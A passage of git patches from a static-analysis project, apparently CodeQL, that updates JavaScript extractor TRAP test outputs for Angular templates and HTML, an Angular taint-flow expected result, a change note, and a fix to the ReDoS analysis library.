-local_type_names(#20081,"f",#20079) -local_namespace_names(#20082,"f",#20079) -#20083=* -stmts(#20083,27,#20061,0,"import f from ""f""") -#20084=@"loc,{#10000},8,7,8,23" -locations_default(#20084,#10000,8,7,8,23) -hasLocation(#20083,#20084) -stmt_containers(#20083,#20061) -#20085=* -exprs(#20085,4,#20083,-1,"""f""") -hasLocation(#20085,#20075) -enclosing_stmt(#20085,#20083) -expr_containers(#20085,#20061) -literals("f","""f""",#20085) +#20069=* +lines(#20069,#20064," ","") +#20070=@"loc,{#10000},9,1,9,4" +locations_default(#20070,#10000,9,1,9,4) +hasLocation(#20069,#20070) +numlines(#20064,3,1,0) +#20071=* +tokeninfo(#20071,7,#20064,0,"import") +#20072=@"loc,{#10000},8,7,8,12" +locations_default(#20072,#10000,8,7,8,12) +hasLocation(#20071,#20072) +#20073=* +tokeninfo(#20073,6,#20064,1,"f") +#20074=@"loc,{#10000},8,14,8,14" +locations_default(#20074,#10000,8,14,8,14) +hasLocation(#20073,#20074) +#20075=* +tokeninfo(#20075,6,#20064,2,"from") +#20076=@"loc,{#10000},8,16,8,19" +locations_default(#20076,#10000,8,16,8,19) +hasLocation(#20075,#20076) +#20077=* +tokeninfo(#20077,4,#20064,3,"""f""") +#20078=@"loc,{#10000},8,21,8,23" +locations_default(#20078,#10000,8,21,8,23) +hasLocation(#20077,#20078) +#20079=* +tokeninfo(#20079,0,#20064,4,"") +#20080=@"loc,{#10000},9,5,9,4" +locations_default(#20080,#10000,9,5,9,4) +hasLocation(#20079,#20080) +toplevels(#20064,1) +#20081=@"loc,{#10000},7,75,9,4" +locations_default(#20081,#10000,7,75,9,4) +hasLocation(#20064,#20081) +#20082=@"module;{#10000},7,75" +scopes(#20082,3) +scopenodes(#20064,#20082) +scopenesting(#20082,#20000) +is_module(#20064) +is_es2015_module(#20064) +#20083=@"var;{f};{#20082}" +variables(#20083,"f",#20082) +#20084=@"local_type_name;{f};{#20082}" +local_type_names(#20084,"f",#20082) +#20085=@"local_namespace_name;{f};{#20082}" +local_namespace_names(#20085,"f",#20082) +variables(#20083,"f",#20082) +local_type_names(#20084,"f",#20082) +local_namespace_names(#20085,"f",#20082) #20086=* -regexpterm(#20086,14,#20085,0,"f") -#20087=@"loc,{#10000},8,22,8,22" -locations_default(#20087,#10000,8,22,8,22) +stmts(#20086,27,#20064,0,"import f from ""f""") +#20087=@"loc,{#10000},8,7,8,23" +locations_default(#20087,#10000,8,7,8,23) hasLocation(#20086,#20087) -regexp_const_value(#20086,"f") +stmt_containers(#20086,#20064) #20088=* -exprs(#20088,84,#20083,0,"f") -hasLocation(#20088,#20071) -enclosing_stmt(#20088,#20083) -expr_containers(#20088,#20061) +exprs(#20088,4,#20086,-1,"""f""") +hasLocation(#20088,#20078) +enclosing_stmt(#20088,#20086) +expr_containers(#20088,#20064) +literals("f","""f""",#20088) #20089=* -exprs(#20089,78,#20088,1,"f") -hasLocation(#20089,#20071) -enclosing_stmt(#20089,#20083) -expr_containers(#20089,#20061) -literals("f","f",#20089) -decl(#20089,#20080) -typedecl(#20089,#20081) -namespacedecl(#20089,#20082) -#20090=* -entry_cfg_node(#20090,#20061) -hasLocation(#20090,#20063) +regexpterm(#20089,14,#20088,0,"f") +#20090=@"loc,{#10000},8,22,8,22" +locations_default(#20090,#10000,8,22,8,22) +hasLocation(#20089,#20090) +regexp_const_value(#20089,"f") #20091=* -exit_cfg_node(#20091,#20061) -hasLocation(#20091,#20077) -successor(#20083,#20091) -successor(#20088,#20083) -successor(#20090,#20088) +exprs(#20091,84,#20086,0,"f") +hasLocation(#20091,#20074) +enclosing_stmt(#20091,#20086) +expr_containers(#20091,#20064) #20092=* -xmlElements(#20092,"html",#10000,0,#10000) -#20093=@"loc,{#10000},1,1,10,7" -locations_default(#20093,#10000,1,1,10,7) -xmllocations(#20092,#20093) +exprs(#20092,78,#20091,1,"f") +hasLocation(#20092,#20074) +enclosing_stmt(#20092,#20086) +expr_containers(#20092,#20064) +literals("f","f",#20092) +decl(#20092,#20083) +typedecl(#20092,#20084) +namespacedecl(#20092,#20085) +#20093=* +entry_cfg_node(#20093,#20064) +hasLocation(#20093,#20066) #20094=* -xmlElements(#20094,"script",#20092,3,#10000) -#20095=@"loc,{#10000},7,5,9,13" -locations_default(#20095,#10000,7,5,9,13) -xmllocations(#20094,#20095) +exit_cfg_node(#20094,#20064) +hasLocation(#20094,#20080) +successor(#20086,#20094) +successor(#20091,#20086) +successor(#20093,#20091) +#20095=* +toplevel_parent_xml_node(#20064,#20095) #20096=* -xmlAttrs(#20096,#20094,"type","text/babel",0,#10000) -#20097=@"loc,{#10000},7,13,7,29" -locations_default(#20097,#10000,7,13,7,29) +xmlElements(#20096,"html",#10000,0,#10000) +#20097=@"loc,{#10000},1,1,10,7" +locations_default(#20097,#10000,1,1,10,7) xmllocations(#20096,#20097) -#20098=* -xmlAttrs(#20098,#20094,"data-plugins","transform-es2015-modules-umd",1,#10000) -#20099=@"loc,{#10000},7,31,7,73" -locations_default(#20099,#10000,7,31,7,73) -xmllocations(#20098,#20099) -#20100=* -xmlElements(#20100,"script",#20092,2,#10000) -#20101=@"loc,{#10000},4,5,6,13" -locations_default(#20101,#10000,4,5,6,13) -xmllocations(#20100,#20101) -#20102=* -xmlAttrs(#20102,#20100,"type","text/babel",0,#10000) -#20103=@"loc,{#10000},4,13,4,29" -locations_default(#20103,#10000,4,13,4,29) -xmllocations(#20102,#20103) +xmlElements(#20095,"script",#20096,3,#10000) +#20098=@"loc,{#10000},7,5,9,13" +locations_default(#20098,#10000,7,5,9,13) +xmllocations(#20095,#20098) +#20099=* +xmlAttrs(#20099,#20095,"type","text/babel",0,#10000) +#20100=@"loc,{#10000},7,13,7,29" +locations_default(#20100,#10000,7,13,7,29) +xmllocations(#20099,#20100) +#20101=* +xmlAttrs(#20101,#20095,"data-plugins","transform-es2015-modules-umd",1,#10000) +#20102=@"loc,{#10000},7,31,7,73" +locations_default(#20102,#10000,7,31,7,73) +xmllocations(#20101,#20102) +xmlElements(#20063,"script",#20096,2,#10000) +#20103=@"loc,{#10000},4,5,6,13" +locations_default(#20103,#10000,4,5,6,13) +xmllocations(#20063,#20103) #20104=* -xmlAttrs(#20104,#20100,"data-plugins","transform-es2015-modules-umd",1,#10000) -#20105=@"loc,{#10000},4,31,4,73" -locations_default(#20105,#10000,4,31,4,73) +xmlAttrs(#20104,#20063,"type","text/babel",0,#10000) +#20105=@"loc,{#10000},4,13,4,29" +locations_default(#20105,#10000,4,13,4,29) xmllocations(#20104,#20105) #20106=* -xmlElements(#20106,"script",#20092,1,#10000) -#20107=@"loc,{#10000},3,5,3,47" -locations_default(#20107,#10000,3,5,3,47) +xmlAttrs(#20106,#20063,"data-plugins","transform-es2015-modules-umd",1,#10000) +#20107=@"loc,{#10000},4,31,4,73" +locations_default(#20107,#10000,4,31,4,73) xmllocations(#20106,#20107) -#20108=* -xmlAttrs(#20108,#20106,"type","text/jsx",0,#10000) -#20109=@"loc,{#10000},3,13,3,27" -locations_default(#20109,#10000,3,13,3,27) -xmllocations(#20108,#20109) -#20110=* -xmlElements(#20110,"script",#20092,0,#10000) +xmlElements(#20038,"script",#20096,1,#10000) +#20108=@"loc,{#10000},3,5,3,47" +locations_default(#20108,#10000,3,5,3,47) +xmllocations(#20038,#20108) +#20109=* +xmlAttrs(#20109,#20038,"type","text/jsx",0,#10000) +#20110=@"loc,{#10000},3,13,3,27" +locations_default(#20110,#10000,3,13,3,27) +xmllocations(#20109,#20110) +xmlElements(#20019,"script",#20096,0,#10000) #20111=@"loc,{#10000},2,5,2,49" locations_default(#20111,#10000,2,5,2,49) -xmllocations(#20110,#20111) +xmllocations(#20019,#20111) #20112=* -xmlAttrs(#20112,#20110,"type","text/babel",0,#10000) +xmlAttrs(#20112,#20019,"type","text/babel",0,#10000) #20113=@"loc,{#10000},2,13,2,29" locations_default(#20113,#10000,2,13,2,29) xmllocations(#20112,#20113) diff --git a/javascript/extractor/tests/ng-templates/output/trap/component.js.trap b/javascript/extractor/tests/ng-templates/output/trap/component.js.trap index ed7ea4db967..59104693168 100644 --- a/javascript/extractor/tests/ng-templates/output/trap/component.js.trap +++ b/javascript/extractor/tests/ng-templates/output/trap/component.js.trap @@ -356,7 +356,7 @@ tokeninfo(#20109,0,#20100,3,"") #20110=@"loc,{#10000},5,26,5,25" locations_default(#20110,#10000,5,26,5,25) hasLocation(#20109,#20110) -toplevels(#20100,2) +toplevels(#20100,4) hasLocation(#20100,#20102) #20111=@"module;{#10000},5,15" scopes(#20111,3) @@ -378,8 +378,8 @@ hasLocation(#20114,#20104) enclosing_stmt(#20114,#20112) expr_containers(#20114,#20100) literals("expr","expr",#20114) -#20115=@"var;{expr};{#20000}" -variables(#20115,"expr",#20000) +#20115=@"var;{expr};{#20111}" +variables(#20115,"expr",#20111) bind(#20114,#20115) #20116=* exprs(#20116,79,#20113,1,"expr") @@ -425,7 +425,7 @@ tokeninfo(#20128,0,#20121,2,"") #20129=@"loc,{#10000},6,19,6,18" locations_default(#20129,#10000,6,19,6,18) hasLocation(#20128,#20129) -toplevels(#20121,2) +toplevels(#20121,4) hasLocation(#20121,#20123) #20130=@"module;{#10000},6,14" scopes(#20130,3) @@ -447,209 +447,213 @@ hasLocation(#20133,#20125) enclosing_stmt(#20133,#20131) expr_containers(#20133,#20121) literals("expr","expr",#20133) -bind(#20133,#20115) -#20134=* -entry_cfg_node(#20134,#20121) -#20135=@"loc,{#10000},6,14,6,13" -locations_default(#20135,#10000,6,14,6,13) -hasLocation(#20134,#20135) -#20136=* -exit_cfg_node(#20136,#20121) -hasLocation(#20136,#20129) +#20134=@"var;{expr};{#20130}" +variables(#20134,"expr",#20130) +bind(#20133,#20134) +#20135=* +entry_cfg_node(#20135,#20121) +#20136=@"loc,{#10000},6,14,6,13" +locations_default(#20136,#10000,6,14,6,13) +hasLocation(#20135,#20136) +#20137=* +exit_cfg_node(#20137,#20121) +hasLocation(#20137,#20129) successor(#20131,#20133) successor(#20133,#20132) -successor(#20132,#20136) -successor(#20134,#20131) -#20137=* -toplevel_parent_xml_node(#20121,#20137) -#20138=@"script;{#10000},7,14" -#20139=* -lines(#20139,#20138,"expr?.bar","") -#20140=@"loc,{#10000},7,14,7,22" -locations_default(#20140,#10000,7,14,7,22) -hasLocation(#20139,#20140) -numlines(#20138,1,1,0) -#20141=* -tokeninfo(#20141,6,#20138,0,"expr") -#20142=@"loc,{#10000},7,14,7,17" -locations_default(#20142,#10000,7,14,7,17) -hasLocation(#20141,#20142) -#20143=* -tokeninfo(#20143,8,#20138,1,"?.") -#20144=@"loc,{#10000},7,18,7,19" -locations_default(#20144,#10000,7,18,7,19) -hasLocation(#20143,#20144) -#20145=* -tokeninfo(#20145,6,#20138,2,"bar") -#20146=@"loc,{#10000},7,20,7,22" -locations_default(#20146,#10000,7,20,7,22) -hasLocation(#20145,#20146) -#20147=* -tokeninfo(#20147,0,#20138,3,"") -#20148=@"loc,{#10000},7,23,7,22" -locations_default(#20148,#10000,7,23,7,22) -hasLocation(#20147,#20148) -toplevels(#20138,2) -hasLocation(#20138,#20140) -#20149=@"module;{#10000},7,14" -scopes(#20149,3) -scopenodes(#20138,#20149) -scopenesting(#20149,#20000) -is_module(#20138) -#20150=* -stmts(#20150,2,#20138,0,"expr?.bar") -hasLocation(#20150,#20140) -stmt_containers(#20150,#20138) +successor(#20132,#20137) +successor(#20135,#20131) +#20138=* +toplevel_parent_xml_node(#20121,#20138) +#20139=@"script;{#10000},7,14" +#20140=* +lines(#20140,#20139,"expr?.bar","") +#20141=@"loc,{#10000},7,14,7,22" +locations_default(#20141,#10000,7,14,7,22) +hasLocation(#20140,#20141) +numlines(#20139,1,1,0) +#20142=* +tokeninfo(#20142,6,#20139,0,"expr") +#20143=@"loc,{#10000},7,14,7,17" +locations_default(#20143,#10000,7,14,7,17) +hasLocation(#20142,#20143) +#20144=* +tokeninfo(#20144,8,#20139,1,"?.") +#20145=@"loc,{#10000},7,18,7,19" +locations_default(#20145,#10000,7,18,7,19) +hasLocation(#20144,#20145) +#20146=* +tokeninfo(#20146,6,#20139,2,"bar") +#20147=@"loc,{#10000},7,20,7,22" +locations_default(#20147,#10000,7,20,7,22) +hasLocation(#20146,#20147) +#20148=* +tokeninfo(#20148,0,#20139,3,"") +#20149=@"loc,{#10000},7,23,7,22" +locations_default(#20149,#10000,7,23,7,22) +hasLocation(#20148,#20149) +toplevels(#20139,4) +hasLocation(#20139,#20141) +#20150=@"module;{#10000},7,14" +scopes(#20150,3) +scopenodes(#20139,#20150) +scopenesting(#20150,#20000) +is_module(#20139) #20151=* -exprs(#20151,14,#20150,0,"expr?.bar") -hasLocation(#20151,#20140) -enclosing_stmt(#20151,#20150) -expr_containers(#20151,#20138) +stmts(#20151,2,#20139,0,"expr?.bar") +hasLocation(#20151,#20141) +stmt_containers(#20151,#20139) #20152=* -exprs(#20152,79,#20151,0,"expr") -hasLocation(#20152,#20142) -enclosing_stmt(#20152,#20150) -expr_containers(#20152,#20138) -literals("expr","expr",#20152) -bind(#20152,#20115) +exprs(#20152,14,#20151,0,"expr?.bar") +hasLocation(#20152,#20141) +enclosing_stmt(#20152,#20151) +expr_containers(#20152,#20139) #20153=* -exprs(#20153,0,#20151,1,"bar") -hasLocation(#20153,#20146) -enclosing_stmt(#20153,#20150) -expr_containers(#20153,#20138) -literals("bar","bar",#20153) -isOptionalChaining(#20151) -#20154=* -entry_cfg_node(#20154,#20138) -#20155=@"loc,{#10000},7,14,7,13" -locations_default(#20155,#10000,7,14,7,13) -hasLocation(#20154,#20155) +exprs(#20153,79,#20152,0,"expr") +hasLocation(#20153,#20143) +enclosing_stmt(#20153,#20151) +expr_containers(#20153,#20139) +literals("expr","expr",#20153) +#20154=@"var;{expr};{#20150}" +variables(#20154,"expr",#20150) +bind(#20153,#20154) +#20155=* +exprs(#20155,0,#20152,1,"bar") +hasLocation(#20155,#20147) +enclosing_stmt(#20155,#20151) +expr_containers(#20155,#20139) +literals("bar","bar",#20155) +isOptionalChaining(#20152) #20156=* -exit_cfg_node(#20156,#20138) -hasLocation(#20156,#20148) -successor(#20150,#20152) -successor(#20153,#20151) -successor(#20152,#20153) -successor(#20151,#20156) -successor(#20152,#20156) -successor(#20154,#20150) -#20157=* -toplevel_parent_xml_node(#20138,#20157) +entry_cfg_node(#20156,#20139) +#20157=@"loc,{#10000},7,14,7,13" +locations_default(#20157,#10000,7,14,7,13) +hasLocation(#20156,#20157) #20158=* -xmlChars(#20158," - ",#10000,0,0,#10000) -#20159=@"loc,{#10000},4,13,5,2" -locations_default(#20159,#10000,4,13,5,2) -xmllocations(#20158,#20159) +exit_cfg_node(#20158,#20139) +hasLocation(#20158,#20149) +successor(#20151,#20153) +successor(#20155,#20152) +successor(#20153,#20155) +successor(#20152,#20158) +successor(#20153,#20158) +successor(#20156,#20151) +#20159=* +toplevel_parent_xml_node(#20139,#20159) #20160=* xmlChars(#20160," - ",#10000,2,0,#10000) -#20161=@"loc,{#10000},5,29,6,2" -locations_default(#20161,#10000,5,29,6,2) + ",#10000,0,0,#10000) +#20161=@"loc,{#10000},4,13,5,2" +locations_default(#20161,#10000,4,13,5,2) xmllocations(#20160,#20161) #20162=* xmlChars(#20162," - ",#10000,4,0,#10000) -#20163=@"loc,{#10000},6,23,7,2" -locations_default(#20163,#10000,6,23,7,2) + ",#10000,2,0,#10000) +#20163=@"loc,{#10000},5,29,6,2" +locations_default(#20163,#10000,5,29,6,2) xmllocations(#20162,#20163) #20164=* xmlChars(#20164," - ",#10000,6,0,#10000) -#20165=@"loc,{#10000},7,27,8,2" -locations_default(#20165,#10000,7,27,8,2) + ",#10000,4,0,#10000) +#20165=@"loc,{#10000},6,23,7,2" +locations_default(#20165,#10000,6,23,7,2) xmllocations(#20164,#20165) #20166=* -xmlElements(#20166,"foo",#10000,5,#10000) -#20167=@"loc,{#10000},7,2,7,27" -locations_default(#20167,#10000,7,2,7,27) +xmlChars(#20166," + ",#10000,6,0,#10000) +#20167=@"loc,{#10000},7,27,8,2" +locations_default(#20167,#10000,7,27,8,2) xmllocations(#20166,#20167) -xmlAttrs(#20157,#20166,"[baz]","expr?.bar",0,#10000) -#20168=@"loc,{#10000},7,7,7,24" -locations_default(#20168,#10000,7,7,7,24) -xmllocations(#20157,#20168) -#20169=* -xmlElements(#20169,"foo",#10000,3,#10000) -#20170=@"loc,{#10000},6,2,6,23" -locations_default(#20170,#10000,6,2,6,23) -xmllocations(#20169,#20170) -xmlAttrs(#20137,#20169,"[baz]","expr!",0,#10000) -#20171=@"loc,{#10000},6,7,6,20" -locations_default(#20171,#10000,6,7,6,20) -xmllocations(#20137,#20171) -#20172=* -xmlElements(#20172,"foo",#10000,1,#10000) -#20173=@"loc,{#10000},5,2,5,29" -locations_default(#20173,#10000,5,2,5,29) -xmllocations(#20172,#20173) -xmlAttrs(#20120,#20172,"[prop]","expr + expr",0,#10000) -#20174=@"loc,{#10000},5,7,5,27" -locations_default(#20174,#10000,5,7,5,27) -xmllocations(#20120,#20174) -xml_element_parent_expression(#20172,#20097,0) -xml_element_parent_expression(#20169,#20097,1) -xml_element_parent_expression(#20166,#20097,2) -#20175=* -exprs(#20175,78,#20085,0,"MyComponent") -hasLocation(#20175,#20063) -enclosing_stmt(#20175,#20085) -expr_containers(#20175,#20001) -literals("MyComponent","MyComponent",#20175) -decl(#20175,#20075) -typedecl(#20175,#20076) -#20176=* -scopes(#20176,10) -scopenodes(#20085,#20176) -scopenesting(#20176,#20071) +#20168=* +xmlElements(#20168,"foo",#10000,5,#10000) +#20169=@"loc,{#10000},7,2,7,27" +locations_default(#20169,#10000,7,2,7,27) +xmllocations(#20168,#20169) +xmlAttrs(#20159,#20168,"[baz]","expr?.bar",0,#10000) +#20170=@"loc,{#10000},7,7,7,24" +locations_default(#20170,#10000,7,7,7,24) +xmllocations(#20159,#20170) +#20171=* +xmlElements(#20171,"foo",#10000,3,#10000) +#20172=@"loc,{#10000},6,2,6,23" +locations_default(#20172,#10000,6,2,6,23) +xmllocations(#20171,#20172) +xmlAttrs(#20138,#20171,"[baz]","expr!",0,#10000) +#20173=@"loc,{#10000},6,7,6,20" +locations_default(#20173,#10000,6,7,6,20) +xmllocations(#20138,#20173) +#20174=* +xmlElements(#20174,"foo",#10000,1,#10000) +#20175=@"loc,{#10000},5,2,5,29" +locations_default(#20175,#10000,5,2,5,29) +xmllocations(#20174,#20175) +xmlAttrs(#20120,#20174,"[prop]","expr + expr",0,#10000) +#20176=@"loc,{#10000},5,7,5,27" +locations_default(#20176,#10000,5,7,5,27) +xmllocations(#20120,#20176) +xml_element_parent_expression(#20174,#20097,0) +xml_element_parent_expression(#20171,#20097,1) +xml_element_parent_expression(#20168,#20097,2) #20177=* -properties(#20177,#20085,2,0,"constructor() {}") -#20178=@"loc,{#10000},10,26,10,25" -locations_default(#20178,#10000,10,26,10,25) -hasLocation(#20177,#20178) +exprs(#20177,78,#20085,0,"MyComponent") +hasLocation(#20177,#20063) +enclosing_stmt(#20177,#20085) +expr_containers(#20177,#20001) +literals("MyComponent","MyComponent",#20177) +decl(#20177,#20075) +typedecl(#20177,#20076) +#20178=* +scopes(#20178,10) +scopenodes(#20085,#20178) +scopenesting(#20178,#20071) #20179=* -exprs(#20179,0,#20177,0,"constructor") -hasLocation(#20179,#20178) -enclosing_stmt(#20179,#20085) -expr_containers(#20179,#20001) -literals("constructor","constructor",#20179) -#20180=* -exprs(#20180,9,#20177,1,"() {}") -hasLocation(#20180,#20178) -enclosing_stmt(#20180,#20085) -expr_containers(#20180,#20001) +properties(#20179,#20085,2,0,"constructor() {}") +#20180=@"loc,{#10000},10,26,10,25" +locations_default(#20180,#10000,10,26,10,25) +hasLocation(#20179,#20180) #20181=* -scopes(#20181,1) -scopenodes(#20180,#20181) -scopenesting(#20181,#20176) -#20182=@"var;{arguments};{#20181}" -variables(#20182,"arguments",#20181) -is_arguments_object(#20182) +exprs(#20181,0,#20179,0,"constructor") +hasLocation(#20181,#20180) +enclosing_stmt(#20181,#20085) +expr_containers(#20181,#20001) +literals("constructor","constructor",#20181) +#20182=* +exprs(#20182,9,#20179,1,"() {}") +hasLocation(#20182,#20180) +enclosing_stmt(#20182,#20085) +expr_containers(#20182,#20001) #20183=* -stmts(#20183,1,#20180,-2,"{}") -hasLocation(#20183,#20178) -stmt_containers(#20183,#20180) -is_method(#20177) -#20184=* -entry_cfg_node(#20184,#20001) -#20185=@"loc,{#10000},1,1,1,0" -locations_default(#20185,#10000,1,1,1,0) -hasLocation(#20184,#20185) +scopes(#20183,1) +scopenodes(#20182,#20183) +scopenesting(#20183,#20178) +#20184=@"var;{arguments};{#20183}" +variables(#20184,"arguments",#20183) +is_arguments_object(#20184) +#20185=* +stmts(#20185,1,#20182,-2,"{}") +hasLocation(#20185,#20180) +stmt_containers(#20185,#20182) +is_method(#20179) #20186=* -exit_cfg_node(#20186,#20001) -hasLocation(#20186,#20069) -successor(#20084,#20175) -successor(#20180,#20177) -#20187=* -entry_cfg_node(#20187,#20180) -hasLocation(#20187,#20178) +entry_cfg_node(#20186,#20001) +#20187=@"loc,{#10000},1,1,1,0" +locations_default(#20187,#10000,1,1,1,0) +hasLocation(#20186,#20187) #20188=* -exit_cfg_node(#20188,#20180) -hasLocation(#20188,#20178) -successor(#20183,#20188) -successor(#20187,#20183) -successor(#20179,#20180) -successor(#20177,#20085) -successor(#20175,#20179) +exit_cfg_node(#20188,#20001) +hasLocation(#20188,#20069) +successor(#20084,#20177) +successor(#20182,#20179) +#20189=* +entry_cfg_node(#20189,#20182) +hasLocation(#20189,#20180) +#20190=* +exit_cfg_node(#20190,#20182) +hasLocation(#20190,#20180) +successor(#20185,#20190) +successor(#20189,#20185) +successor(#20181,#20182) +successor(#20179,#20085) +successor(#20177,#20181) successor(#20092,#20096) successor(#20097,#20099) successor(#20099,#20094) @@ -657,10 +661,10 @@ successor(#20096,#20097) successor(#20094,#20089) successor(#20091,#20092) successor(#20089,#20087) -successor(#20087,#20186) +successor(#20087,#20188) successor(#20085,#20091) successor(#20077,#20084) successor(#20081,#20077) -successor(#20184,#20081) +successor(#20186,#20081) numlines(#10000,10,9,0) filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/node/output/trap/tst.html.trap b/javascript/extractor/tests/node/output/trap/tst.html.trap index 4f02f161096..a647c518a44 100644 --- a/javascript/extractor/tests/node/output/trap/tst.html.trap +++ b/javascript/extractor/tests/node/output/trap/tst.html.trap @@ -87,27 +87,28 @@ successor(#20020,#20021) successor(#20018,#20024) successor(#20022,#20017) #20025=* -xmlElements(#20025,"html",#10000,0,#10000) -#20026=@"loc,{#10000},1,1,8,7" -locations_default(#20026,#10000,1,1,8,7) -xmllocations(#20025,#20026) -#20027=* -xmlElements(#20027,"body",#20025,1,#10000) -#20028=@"loc,{#10000},5,1,7,7" -locations_default(#20028,#10000,5,1,7,7) -xmllocations(#20027,#20028) -#20029=* -xmlElements(#20029,"a",#20027,0,#10000) -#20030=@"loc,{#10000},6,1,6,29" -locations_default(#20030,#10000,6,1,6,29) -xmllocations(#20029,#20030) -#20031=* -xmlAttrs(#20031,#20029,"onclick","var x = 42;",0,#10000) +toplevel_parent_xml_node(#20001,#20025) +#20026=* +xmlElements(#20026,"html",#10000,0,#10000) +#20027=@"loc,{#10000},1,1,8,7" +locations_default(#20027,#10000,1,1,8,7) +xmllocations(#20026,#20027) +#20028=* +xmlElements(#20028,"body",#20026,1,#10000) +#20029=@"loc,{#10000},5,1,7,7" +locations_default(#20029,#10000,5,1,7,7) +xmllocations(#20028,#20029) +#20030=* +xmlElements(#20030,"a",#20028,0,#10000) +#20031=@"loc,{#10000},6,1,6,29" +locations_default(#20031,#10000,6,1,6,29) +xmllocations(#20030,#20031) +xmlAttrs(#20025,#20030,"onclick","var x = 42;",0,#10000) #20032=@"loc,{#10000},6,4,6,24" locations_default(#20032,#10000,6,4,6,24) -xmllocations(#20031,#20032) +xmllocations(#20025,#20032) #20033=* -xmlElements(#20033,"head",#20025,0,#10000) +xmlElements(#20033,"head",#20026,0,#10000) #20034=@"loc,{#10000},2,1,4,7" locations_default(#20034,#10000,2,1,4,7) xmllocations(#20033,#20034) diff --git a/javascript/extractor/tests/shebang/output/trap/tst.html.trap b/javascript/extractor/tests/shebang/output/trap/tst.html.trap index c4e88d8725f..4c153f4d397 100644 --- a/javascript/extractor/tests/shebang/output/trap/tst.html.trap +++ b/javascript/extractor/tests/shebang/output/trap/tst.html.trap @@ -44,24 +44,25 @@ locations_default(#20012,#10000,6,1,6,8) hasLocation(#20011,#20012) numlines(#20001,4,0,0) #20013=* -xmlElements(#20013,"html",#10000,0,#10000) -#20014=@"loc,{#10000},1,1,10,7" -locations_default(#20014,#10000,1,1,10,7) -xmllocations(#20013,#20014) -#20015=* -xmlElements(#20015,"body",#20013,1,#10000) -#20016=@"loc,{#10000},8,5,9,11" -locations_default(#20016,#10000,8,5,9,11) -xmllocations(#20015,#20016) -#20017=* -xmlElements(#20017,"head",#20013,0,#10000) -#20018=@"loc,{#10000},2,5,7,11" -locations_default(#20018,#10000,2,5,7,11) -xmllocations(#20017,#20018) -#20019=* -xmlElements(#20019,"script",#20017,0,#10000) +toplevel_parent_xml_node(#20001,#20013) +#20014=* +xmlElements(#20014,"html",#10000,0,#10000) +#20015=@"loc,{#10000},1,1,10,7" +locations_default(#20015,#10000,1,1,10,7) +xmllocations(#20014,#20015) +#20016=* +xmlElements(#20016,"body",#20014,1,#10000) +#20017=@"loc,{#10000},8,5,9,11" +locations_default(#20017,#10000,8,5,9,11) +xmllocations(#20016,#20017) +#20018=* +xmlElements(#20018,"head",#20014,0,#10000) +#20019=@"loc,{#10000},2,5,7,11" +locations_default(#20019,#10000,2,5,7,11) +xmllocations(#20018,#20019) +xmlElements(#20013,"script",#20018,0,#10000) #20020=@"loc,{#10000},3,9,6,17" locations_default(#20020,#10000,3,9,6,17) -xmllocations(#20019,#20020) +xmllocations(#20013,#20020) numlines(#10000,10,0,0) filetype(#10000,"html") From fbb5d1426332948663fd2e79e0126b676fd713e0 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 15 Jan 2021 14:54:12 +0000 Subject: [PATCH 0669/1241] JS: Update angular test output --- .../ql/test/library-tests/frameworks/Angular2/test.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index 978d419086c..c63ccd8d624 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -23,6 +23,7 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow | inline.component.ts:15:22:15:29 | source() | sink.component.ts:27:48:27:57 | this.sink7 | +| source.component.ts:14:22:14:29 | source() | TestPipe.ts:6:31:6:35 | value | | source.component.ts:14:22:14:29 | source() | sink.component.ts:21:48:21:57 | this.sink1 | | source.component.ts:14:22:14:29 | source() | sink.component.ts:24:48:24:57 | this.sink4 | | source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink5 | From deca7f3cd6ea4f7829a7431983e4f0a9a7913357 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 18 Jan 2021 13:46:10 +0000 Subject: [PATCH 0670/1241] JS: Add change note --- javascript/change-notes/2021-01-18-angular-templates.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/change-notes/2021-01-18-angular-templates.md diff --git a/javascript/change-notes/2021-01-18-angular-templates.md b/javascript/change-notes/2021-01-18-angular-templates.md new file mode 100644 index 00000000000..3ec349f8d18 --- /dev/null +++ b/javascript/change-notes/2021-01-18-angular-templates.md @@ -0,0 +1,4 @@ +lgtm,codescanning +* Support for Angular has improved. Angular templates are now parsed and used to + establish data flow between components. +* Support for RxJS has improved. Taint is now tracked through RxJS Observable objects. From 01900d7ca26528478560f53c07e30b0c40f67865 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 18 Jan 2021 14:47:29 +0100 Subject: [PATCH 0671/1241] remove false positive due to "\n" not being in the `relevant` relation --- .../semmle/javascript/security/performance/ReDoSUtil.qll | 6 +++++- .../test/query-tests/Performance/ReDoS/polynomial-redos.js | 2 ++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index 2c4295c2381..425cee3ff6f 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -905,6 +905,10 @@ private module SuffixConstruction { exists(ascii(result)) or exists(InputSymbol s | belongsTo(s, root) | result = intersect(s, _)) + or + // The characters from `hasSimpleRejectEdge`. Only `\n` is really needed (as `\n` is not in the `ascii` relation). + // The three chars must be kept in sync with `hasSimpleRejectEdge`. + result = ["|", "\n", "Z"] } /** @@ -923,7 +927,7 @@ private module SuffixConstruction { * This predicate is used as a cheap pre-processing to speed up `hasRejectEdge`. */ private predicate hasSimpleRejectEdge(State s) { - // The three chars were chosen arbitrarily. + // The three chars were chosen arbitrarily. The three chars must be kept in sync with `relevant`. exists(string char | char = ["|", "\n", "Z"] | not deltaClosedChar(s, char, _)) } diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js index 